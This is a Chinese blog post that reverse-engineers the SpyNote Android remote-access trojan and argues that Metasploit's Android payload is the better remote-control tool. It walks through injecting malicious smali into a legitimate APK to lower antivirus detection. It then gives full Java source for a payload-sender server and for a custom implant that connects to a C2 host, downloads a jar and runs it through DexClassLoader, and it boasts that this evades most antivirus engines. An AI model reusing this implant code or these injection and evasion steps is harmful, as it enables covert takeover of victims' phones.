正文

【逆向&编程实战】Metasploit中的安卓载荷凭什么吊打SpyNote成为安卓端最强远控

IP云
IP云V管理员/0 阅读
07/27
小程序：扫一扫查出行
【扫一扫了解最新限行尾号】
复制小程序

文章作者:MG1937

QQ:3496925334

CNBLOG:ALDYS4

未经许可，禁止转载

前言

说起SpyNote大家自然不陌生,这款恶意远控软件被利用在各种攻击场景中
甚至是最近也捕获到了利用"新冠病毒"进行传播的SpyNote样本
方便的Gui操作页面,行云流水的攻击过程...
但它真有那么优秀以至于无懈可击吗?
著名渗透测试框架Metasploit中的安卓载荷和它相比到底如何呢?

文章目录

  1. SpyNote运行流程分析
  2. Payload加载流程比对
  3. APK注入流程比对
  4. 灵活性与可扩展性比对
  5. 免杀难易程度比对

SpyNote运行流程分析

先利用SpyNote输出一个受控端APK

如图,程序主入口为 yps.eton.application.M

跟进



程序最终会进入第一处标记处,直接启动A类服务

若在输出APK时在SpyNote中选中了防用户卸载选项,程序还会继续向下进入第二处分支

尝试申请权限并接管设备管理器

跟进A类服务

如图,A方法重写onCreate方法后立刻调用startForeground方法在前台弹出一个通知栏

从而使自身应用对用户"可见",借此提高系统优先级进行保活(虽然Android6.0以后保活基本不可能实现了)

在该方法内继续向下执行,程序进入a方法



a方法体的开始,程序又会进入j方法中



如图,j方法体尝试获取root权限,并用获取了root权限的Runtime实体尝试输出文件,以此判断应用是否拥有最高权限



跳出j方法,程序进入h方法体,到此为止,Payload才被正式加载

跟进h方法



h方法体新建立了一个线程,方便进行网络操作

继续向下执行至标记处,程序获取了键为"ArrayDns_Key"中的值,而该键的值正是C2的地址与端口

继续向下执行,C2地址被分别赋予n成员



继续向下执行,程序将n成员中的C2地址与端口提取出来,实体化一个InetSocketAddress实例并传入

在第二处标记处,程序就正式向C2地址建立连接了

请注意,在第三处标记点,q成员被赋予C2地址的IO流,此处执行在下面还会有体现

接下来程序进入i方法体,该方法体与Payload的加载密切相关

由于JADX没能成功反编译i方法,故使用JDCORE继续进行操作



i方法体内,程序同样新建立一个线程,读图可以很容易看出在此线程内程序就尝试接管电源与网络控制器了

继续向下看



此处的m方法在编辑器中并没有找到,大概是因为反编译工具的问题,所以此处从smali层直接阅读代码



首先在smali中找到i方法体,可以看到A$25.smali文件正是程序建立线程的地方

跟进



在该smali文件中我找到之前的那处执行,可以看见m方法体需要传入一个A类成员,并且返回对象为BufferedReader

找到m方法

可见m方法返回了q成员,正是与C2地址建立连接的IO流对象

这里我将反编译工具没有正常显示但仍然需要用到的方法全部展示一遍

b方法:将传入的参数存入o成员

n方法:取出o成员

将几个会用到的方法展示完成后继续查看代码



如图,第一处标记程序将取出与C2地址的IO流并检查连接是否建立

接着在第二处标记程序读出IO流中的数据,暂时存入i成员

继续向下执行,程序在读出IO流中的数据后转换为String,并最终利用b方法存入o成员

在最后一处标记点,程序检查o成员是否以"c2x2824x82..."开头和结尾,若不是则继续循环上面的步骤

这里不难看出受控端与C2地址传输信息的方式是以某些特殊字符作为标记,并以此区分哪些是C2下达的指令



继续执行,程序会将C2传输来的信息与写死在本地的字符进行比较,以此来执行C2想让傀儡机执行的代码



例如传输来的信息如果是"shell_terminal"

程序将会进入如下分支



最终程序将执行j类的a方法体



通读代码不难得出该方法就是在本机执行任意代码并向C2地址回传命令的回显

至此,SpyNote的运行流程分析完毕

Payload加载流程比对

SpyNote

从上面的SpyNote分析过程来看

SpyNote加载恶意代码的方法很直接但却十分笨拙

graph LR
A[SpyNote] -- 1.建立连接 --> B((C2服务器))
B -- 2.下达指令 --> A
A -- 3.执行命令 --> C[写死在本地的恶意代码]
C -- 4.回显回传 --> B

如流程图所示

SpyNote的工作仅仅是接收命令,执行命令,回传命令

明明非常简单,但又为什么说它十分笨拙?

将代码”全部写死在本地,时机适当时予以调用“的执行方式的确很简单

但随之而来的代价就是极高度的代码耦合与极其不便捷的维护与软件升级

以这种方式加载代码完全没有考虑到中马机适应C2功能升级的情况！

试想一下,若控制端与中马机的通讯方式更新,老旧的中马机不但不能随之得到及时的功能更新

反而还可能因为无法解析新的通讯方式而与控制端失去联系

Metasploit

关于安卓载荷的运行流程

可以查看我之前写的一篇博文

【逆向&编程实战】Metasploit安卓载荷运行流程分析

这里简要介绍一下它加载Payload的核心方法



看到图中用箭标所指处的对象了吗?DexClassLoader

是的,这就是Metasploit安卓载荷加载Payload的核心

不会吧不会吧？就这？ 这就是所谓的加载方式?你tm在逗我?

好吧，先来看看官方文档中对这个对象如何进行解释

AndroidDocument-DexClassLoader

如标记处所讲,DexClassLoader可以从jar或apk文件中动态执行自身应用中不存在的class文件

若看过我之前那篇对安卓载荷的分析,就已经可以清楚地知道Payload的加载方式

graph LR
A[Metasploit安卓载荷] --1.建立连接--> B((C2服务器))
B --2.下发恶意Jar文件--> A
A -- 3. 动态加载--> C[DexClassLoader对象]
C -- 4.回传执行回显 -->B

如果要用一句话对这种加载方式进行描述,那就是复杂但却十分灵活

其中DexClassLoader对象有着极大的灵活性与操作空间

这种加载方式几乎使得载荷与C2服务器分别成为两个独立的个体

C2服务器中远控功能的更新几乎不需要与中马机进行任何互动

因为再怎么更新功能,只要将Jar文件传入载荷,载荷都会乖乖地动态加载其中的代码

倒不如说这种代码耦合性极低的运行方式反而使得SpyNote更加显得臃肿和笨拙

APK注入流程比对

SpyNote

SpyNote的客户端带有一个将恶意代码与其他正常软件合并的功能

注入测试用的Apk就用我17年左右开发的漫画软件罢(半成品,开发到一半服务器被墙了就没再动过这个项目)





如图,这就是输出的Apk,不过感觉样子好像没变

总之先上传到沙箱里看看



检出率完全没有任何变化?!

感到理解不能的我随之将输出的Apk进行再次反编译

依然跟进主入口



入口函数会获取自身资源中的merge_file进行初步判断

最终程序将进入箭头所标的分支

跟进b方法



在第一处红线标记处,程序获取了自身raw资源中google文件的IO流

接着在本地以base.apk的形式输出

最终实例化一个Intent对象通知系统安装输出在本地的base.apk



查看raw文件夹中的google.apk

什么?!这不就是我想要注入的Apk吗?

到头来Spynote只是将Apk写入raw资源文件里

接着受害者启动受控端的时候再输出正常应用并安装

你在逗我吗?这种可有可无的注入?这也太无能了吧?!

连恶意代码也完全没有变化,检出率当然不会改变了

好吧,既然SpyNote所谓的注入只是在资源文件层面的简单替换操作

那我就手动将恶意代码写入Apk后再进行总结吧

注入思路

graph LR
A[正常APK] --> B(Apktool)
C[恶意软件] --> B
B --反编译--> D[正常的Smali]
B --反编译--> E[恶意的Smali]
E -- 写入 --> D
D --> F[合并Smali的入口函数]
F --指向--> G{恶意Smali的入口函数}

将恶意代码写入正常Apk的流程不再过多阐述

这里只阐述关键步骤

由于SpyNote的受控端很多代码都需要从R文件中获取指定的资源文件

比如获取C2服务器的地址就需要从string资源文件中获取键为host的值

所以在复制指定资源文件到正常软件中时同样也要修改Smali代码中R.smali对资源文件的声明



手动在R.smali中分别声明了6个需要用到的资源文件

接着在需要调用到这些资源文件的代码依次替换这些资源所指向的值



但是完成这些并没有结束

受控端的代码还调用到了经过混淆的android-v7库

只有将这个v7库再次插入应用的Smali层,接着在恶意Smali代码中引用才能使得软件正常运行

该步骤不再进行阐述



回编译后安装测试

可见在软件正常运行的同时Spynote上线

上传云沙箱

检出率下降到4



接下来对SpyNote的注入流程进行总结

SpyNote客户端所谓的"注入"与其说是注入,倒不如说只是套了个可有可无的壳子,连鸡肋都算不上

而手动注入时由于SpyNote在多处调用到了资源文件,使得手动注入的过程变得十分繁琐

光是Debug就花去了我十几分钟,明明可以在Smali层进行操作,却要将关键数据写进资源文件的反智行为实在让我困扰

Metasploit

我想msfvenom的注入功能不用过多阐述

这里只简要阐述一下

依然使用之前的Apk测试注入功能



云沙箱的3检出率还算差强人意

反编译输出的Apk



尽管是几年前开发的软件,但整个软件的结构我仍然能够记起

图中标记处就是msfvenom在清单文件中注入的信息

从后两处标记处不难得出这两处就是类名与包名混淆过的恶意代码



在程序入口处被注入了恶意代码的入口

可以直接跟进到Payload加载处



这里Payload就已经加载了,不再过多描述

恶意代码的整个注入过程可谓是行云流水

没有多余沉淀的资源文件,所有关键信息全部都保存在Smali层

恶意代码的运行更是避免了调用到其他第三方类库,大大降低了代码耦合程度和注入复杂度

仅仅需要在适当时机调用恶意函数的入口,十分方便

相比SpyNote多余的代码和文件就使得注入过程十分繁琐,不仅要手动声明资源

而恶意函数调用到的其他第三方类库还经过了混淆,这样就不得不再次将类库重新写入正常Apk

增大了软件体积。反而如果少了这种无意义的操作,软件还无法运行

灵活性与可扩展性比对

SpyNote

抱歉,对于SpyNote来说,它几乎没有灵活性和扩展性可言!

这就是将恶意代码全部写死在本地的后果!

如果要扩展恶意代码的功能,那么就必须相应地更新控制端的代码以适应受控端的代码!

若是要扩展控制端的功能,那么就要相应地重写受控端代码!

SpyNote极高的代码耦合度和操作的极其不便利程度使得对SpyNote进行二次开发繁琐到几乎不可能

可谓是牵一发而动全身!

Metasploit

关于灵活性和可扩展程度,Metasploit可谓是几乎毫无疑问的完全站所有远控软件的上风

为什么这么说?还记得安卓载荷加载恶意代码的核心方法吗?对,就是DexClassLoader对象

这个对象的实现功能可谓是给二次开发带来了极大的便利,我甚至不需要更新Msf自带的安卓载荷

就可以轻松实现在载荷上执行我所设想的新功能

由此我开发了一个载荷发送工具以便实现我想要的效果

开发原理与思路完全可以参照我上面所提到的之前写的一篇博文:

【逆向&编程实战】Metasploit安卓载荷运行流程分析_复现meterpreter模块接管shell



代码:

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Base64;public class Main {
//Necessary Args
private static String Port,dexLoadPath,dexLength,loadClass;public static void main(String[] args) {
if(args.length<3) {
System.out.println("Auth:MG1937 CSDN_Blog:Aldys4 QQ:3496925334\nExample:java -jar payloadSender.jar 1937 C:/evil.jar com.evil.Main");
}
else {
Port=args[0];
dexLoadPath=args[1];
loadClass=args[2];
try {
getClient();
} catch (Throwable e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public static void getClient() throws Exception {
ServerSocket serverSocket=new ServerSocket(Integer.valueOf(Port));
System.out.println("[*]ServerSocket was built,wait for Connection...");
Socket socket=serverSocket.accept();
System.out.println("[*]"+socket.getInetAddress().toString()+" Has connected!Sending payload...");
Thread.sleep(1000);
sendPayload(new DataOutputStream(socket.getOutputStream()));
}
public static void sendPayload(DataOutputStream outputStream) throws Exception {
File file=new File(dexLoadPath);
byte[] b=readPayload(file);
dexLength=(int)b.length+"";
System.out.println("[*]Send Class Length...");
outputStream.writeInt(Integer.valueOf(loadClass.length()));
System.out.println("[*]Send Class you want to load...");
outputStream.write(loadClass.getBytes());
Thread.sleep(1000);
System.out.println("[*]Send Payload Length...");
outputStream.writeInt(Integer.valueOf(dexLength));
System.out.println("[*]Send Payload...");
outputStream.write(b);
System.out.println("[*]DONE!");
}
public static byte[] readPayload(File file) throws Exception {
try {
int length = (int) file.length();
byte[] data = new byte[length];
new FileInputStream(file).read(data);
return data;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

简要描述一下这个工具的功能

依据载荷接收Jar和动态加载其中Dex的具体流程而开发的进行下发恶意Jar的工具

工具编写完成,接下来构造一个可被载荷执行的恶意Jar

如图,恶意代码的功能很简单

利用反射获取载荷的Context实例

接着实例化一个Intent对象,并通过这个对象打开我所指定的网址

编译Apk文件,取出其中的Dex文件



如图,利用d2j与dx将dex文件重新打包成可被DexClassLoader对象识别的Jar文件

利用工具发送至中马机进行测试



如图,当点击载荷时,自动与工具建立了一个Socket连接

接着Jar被发送到载荷上时,浏览器自动打开了百度的页面

测试成功

或许有的人会问了

恶意代码所获取的Context实例的父类不是Application么?

那样的话能执行的命令还是会有限制

比如Application对象就不能在子线程中调用runOnUIThread函数操作UI进程啊!

这还不简单吗?

既然载荷加载的核心方法已经知道了

那么就自己利用这种加载方法再开发一个载荷不就好了

MainActivity.java



getContext.java

如图,MainActivity中是用来加载核心代码的类

而getContext类则是以静态方法储存Context的类

这么一来就大概都懂了吧

graph LR
A[MainActivity] -- 传递自身Context对象 --> B((getContext))
C{恶意Jar} -- 反射获取Context对象 --> B

这样一来就可以在子线程中任意调用UI函数了!

重新编写测试用的恶意代码



如图,事先在工程里也创建一个和载荷同包名和类名的getContext对象

接着在正式编译时删除恶意Jar中的getContext对象,这样在执行时就会调用载荷里的Context对象

这样一来载荷对象就真正被获取了

发送载荷,可以看见UI函数被成功操作,弹出了一个警示框

代码:

MainActivity

public class MainActivity extends Activity { String ip="192.168.0.104";
String port="1937";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
getContext.setContext(this);
new Thread(new Runnable() {
@Override
public void run() {
try {
getC2C();
}catch (Throwable e){}
}
}).start(); }
public void getC2C() throws IOException {
Socket socket=new Socket(ip,Integer.valueOf(port));
InputStream inputStream=socket.getInputStream();
OutputStream outputStream=socket.getOutputStream();
DataInputStream dataInputStream=new DataInputStream(inputStream);
DataOutputStream dataOutputStream=new DataOutputStream(outputStream);
try {
getPayload(dataInputStream,dataOutputStream);
} catch (Throwable e) {
e.printStackTrace();
}
}
public void getPayload(DataInputStream dataInputStream,DataOutputStream dataOutputStream) throws Exception {
final String str = this.getFilesDir().toString();
String str2 = str + File.separatorChar + Integer.toString(new Random().nextInt(Integer.MAX_VALUE), 36);
String str3 = str2 + ".jar";
String str4 = str2 + ".dex";
String str5 = new String(getPayload(dataInputStream));
System.out.println(str5);
byte[] a2 = getPayload(dataInputStream);
System.out.println("byte get!");
this.getResources().getString(R.string.app_name);
File file = new File(str3);
if (!file.exists()) {
file.createNewFile(); }
FileOutputStream fileOutputStream = new FileOutputStream(file);
fileOutputStream.write(a2);
fileOutputStream.flush();
fileOutputStream.close();
Class loadClass = new DexClassLoader(str3, str, str, MainActivity.class.getClassLoader()).loadClass(str5);
Object newInstance = loadClass.newInstance();
file.delete();
new File(str4).delete();
loadClass.getMethod("start", new Class[]{DataInputStream.class, OutputStream.class, Object[].class}).invoke(newInstance, new Object[]{dataInputStream, dataOutputStream, new Object[]{str,null}}); }
public byte[] getPayload(DataInputStream dataInputStream) throws Exception {
int readInt = dataInputStream.readInt();
byte[] bArr = new byte[readInt];
int i = 0;
while (i < readInt) {
int read = dataInputStream.read(bArr, i, readInt - i);
if (read < 0) {
throw new Exception();
}
i += read;
} return bArr; }
}

getContext

public class getContext {
static public Context context_=null;
static public void setContext(Context context){
context_=context;
}
static public Context getContext_(){return context_;}
}

从载荷发送工具编写到自主开发远控载荷的流程来看

Metasploit的可扩展性和灵活程度是当之无愧的

相比起SpyNote那种几乎无二次开发与扩展可能的远控工具来看简直是高下立判

免杀难易程度比对

SpyNote

由于SpyNote的代码高耦合度,所有恶意代码都写在本地使得病毒特征明显

免杀似乎只能从Dex加壳的层面下手

这里不细讲

Metasploit

几乎开放式的恶意Jar动态加载过程不仅方便了二次开发

甚至是源码级免杀也能轻松实现

将在上一个模块我自主开发的载荷传入云沙箱

可以看到仅仅只有一检出率

bypass了国内大多数主流反病毒软件

免杀效果可以说是非常理想了

总结

从三个方面去对比和分析这两款远控工具

结果无一例外Metasploit都完全占在上风

若要把SpyNote比作是一把利剑的话,剑客就得去适应其剑身和握柄.

那么Metasploit就是一块可以随意改造的模板,这个模板怎么使用全看铸剑人的意愿

可以说Metasploit是一款开放性很强又极其灵活的工具,而SpyNote只能算是被组装好的自动化武器,

它的拆卸,改装都很麻烦,似乎只能随着原开发者的意愿去使用

所以Metasploit可以说是当代当之无愧的几乎所有远控工具的巅峰!

【逆向&编程实战】Metasploit中的安卓载荷凭什么吊打SpyNote成为安卓端最强远控的更多相关文章

  1. 【逆向&amp&semi;编程实战】Metasploit安卓载荷运行流程分析&lowbar;复现meterpreter模块接管shell

    /QQ:3496925334 作者:MG193.7 CNBLOG博客号:ALDYS4 未经许可,禁止转载/ 关于metasploit的安卓模块,前几次的博客我已经写了相应的分析和工具 [Android ...

  2. 整理一下《java并发编程实战》中的知识点

    分工.同步.互斥的历史由来 分工:单道.多道.分时 同步:线程通信(组织编排任务) 互斥:因(多线程访问共享资源)果(串行化共享资源的访问) 1切都是为了提高性能 2.可见性.原子性.有序性 可见性: ...

  3. 1、CRM2011编程实战——清空指定页签以下的全部选项，并对页签以下的指定控件进行操作

    需求:当页面载入时,"呼叫编号"保持不变,"任务号"自己主动更新."接报时间"和"发生日期"自己主动设置为当天日期和时间 ...

  4. 【Android编程实战】源码级免杀&lowbar;Dex动态加载技术&lowbar;Metasploit安卓载荷傀儡机代码复现

    /文章作者:MG193.7 CNBLOG博客ID:ALDYS4 QQ:3496925334/ 在读者阅读本文章前,建议先阅读笔者之前写的一篇对安卓载荷的分析文章 [逆向&编程实战]Metasp ...

  5. 【Java编程实战】Metasploit&lowbar;Java后门运行原理分析以及实现源码级免杀与JRE精简化

    QQ:3496925334 文章作者:MG1937 CNBLOG博客ID:ALDYS4 未经许可,禁止转载 某日午睡,迷迷糊糊梦到Metasploit里有个Java平台的远控载荷,梦醒后,打开虚拟机, ...

  6. Java并发编程实战3-可见性与volatile关键字

    1. 缓存一致性问题 在计算机中,每条指令都是在CPU执行的,而CPU又不具备存储数据的功能,因此数据都是存储在主存(即内存)和外存(硬盘)中.但是,主存中数据的存取速度高于外存中数据的存取速度(这也 ...

  7. 【Android编程】Java利用Socket类编写Metasploit安卓载荷辅助模块

    /作者:Kali_MG1937 CSDN博客:ALDYS4 QQ:3496925334/ 注意!此文章被作者标记到 黑历史 专栏中,这意味着本篇文章可能存在 质量低下,流水账文,笔法低质 的问题 为了 ...

  8. &lbrack;问题解决&rsqb;《GPU高性能编程CUDA实战》中第4章Julia实例&OpenCurlyDoubleQuote;显示器驱动已停止响应，并且已恢复”问题的解决方法

    以下问题的出现及解决都基于"WIN7+CUDA7.5". 问题描述:当我编译运行<GPU高性能编程CUDA实战>中第4章所给Julia实例代码时,出现了显示器闪动的现象 ...

  9. 《 &period;NET并发编程实战》一书中的节流为什么不翻译成限流

    有读者问,为什么< .NET并发编程实战>一书中的节流为什么不翻译成限流? 这个问题问得十分好!毕竟“限流”这个词名气很大,耳熟能详,知名度比“节流”大多了. 首先,节流的原词Thrott ...

随机推荐

  1. 【教程】简易CDQ分治教程&amp&semi;学习笔记

    前言 辣鸡蒟蒻__stdcall终于会CDQ分治啦!       CDQ分治是我们处理各类问题的重要武器.它的优势在于可以顶替复杂的高级数据结构,而且常数比较小:缺点在于必须离线操作. CDQ分治的基 ...

  2. eclipse中egit插件使用

    这篇文章当时制作有点粗糙,建议阅读升级版:eclipse中egit插件使用--升级版 使用git作为项目的代码管理工具现在是越来越火,网上有各种各样的文章.博客.讨论,其中以命令行居多.使用eclip ...

  3. WOW&period;js – 在页面滚动时展现动感的元素动画效果

    在一些网页上,当你滚动页面的时候会看到各式各样的元素动画效果,非常动感.WOW.js 就是一款帮助你实现这种 CSS 动画效果的插件,很容易定制,你可以改变动画设置喜欢的风格.延迟.长度.偏移和迭代等 ...

  4. HDU 5867 Sparse Graph （2016年大连网络赛 I bfs&plus;补图）

    题意:给你n个点m条边形成一个无向图,问你求出给定点在此图的补图上到每个点距离的最小值,每条边距离为1 补图:完全图减去原图 完全图:每两个点都相连的图 其实就是一个有技巧的bfs,我们可以看到虽然点 ...

  5. URAL 1031&period; Railway Tickets&lpar;spfa&rpar;

    题目链接 不知为何会在dp里呢...INF取小了,2Y. #include <cstring> #include <cstdio> #include <string&gt ...

  6. Linux平台Makefile文件的编写基础入门（课堂作业）

    根据老师的要求,写一个超简单的makefile准备:       准备三个文件:file1.c, file2.c, file2.h       file1.c: #include "file ...

  7. Finally的执行时机

    有人问下面代码是return先执行,还是finally先执行. int i = 1;try{    return i;}finally{  i = 0;} 很多人都回答是finally先执行,因为他们 ...

  8. 使用OPENROWSET&lpar;BULK&period;&period;&period;&rpar;从平面文件加载数据

    要使用OPENROWSET首先要开启一个configure选项 sp_configure ‘show advanced options’, 1;GORECONFIGURE;GOsp_configure ...

  9. 根据日期累加金额的mysql

    今天遇到了一个语句,想了一会觉得有必要记录一下 问题描述 id  money date 1 10 2015-01-012 20 2015-01-023 30 2015-01-034 40 2015-0 ...

  10. 第一章 Javascript基础

    一.Javascript概述(知道) a.一种基于对象和事件驱动的脚本语言 b.作用: 给页面添加动态效果 c.历史: 原名叫做livescript.W3c组织开发的标准叫ECMAscipt. d.特 ...